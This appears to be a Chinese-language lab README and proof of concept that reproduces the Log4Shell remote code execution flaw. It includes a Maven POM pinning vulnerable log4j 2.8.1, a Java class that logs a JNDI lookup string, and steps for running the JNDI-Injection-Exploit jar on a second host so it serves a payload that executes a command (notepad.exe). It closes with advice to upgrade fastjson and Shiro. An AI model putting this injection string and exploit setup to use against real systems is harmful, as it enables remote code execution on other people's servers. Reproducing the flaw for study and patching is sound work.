复现方法
1 直接运行log4j main 会打印操作系统信息,说明SHELL执行成功
2 远程注入执行
将JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷贝到另外一个主机(例如192.168.1.15),
执行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “notepad.exe” -A 192.168.1.15 其中,notepad.exe是你远程想要执行的命令,1.15是主机的IP,启动成功会显示如下内容,将ldap行赋值到代码中替换被注释的内容
1. Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
2. rmi://192.168.1.15:1099/1fhekw
3. ldap://192.168.1.15:1389/1fhekw
运行代码,弹出记事本证明成功。
注:代码POM中不要放一堆没用的依赖
1 web组件fastjson 高危漏洞受影响的版本是fastjson<1.2.69,如果低于1.2.69 请升级
2 为了规避Apache Shiro身份验证绕过漏洞CVE-2020-13933、CVE-2020-11989; 需要将shiro升级到最新版本,如果有兼容性问题至少到1.6.0版本;谢谢。
3 set JAVA_OPTS=-Dfastjson.parser.safeMode=true
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
</dependencies>
</project>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//logger.error("${jndi:ldap://192.168.1.15:1389/1fhekw}");
logger.error("${java:os}");
}
}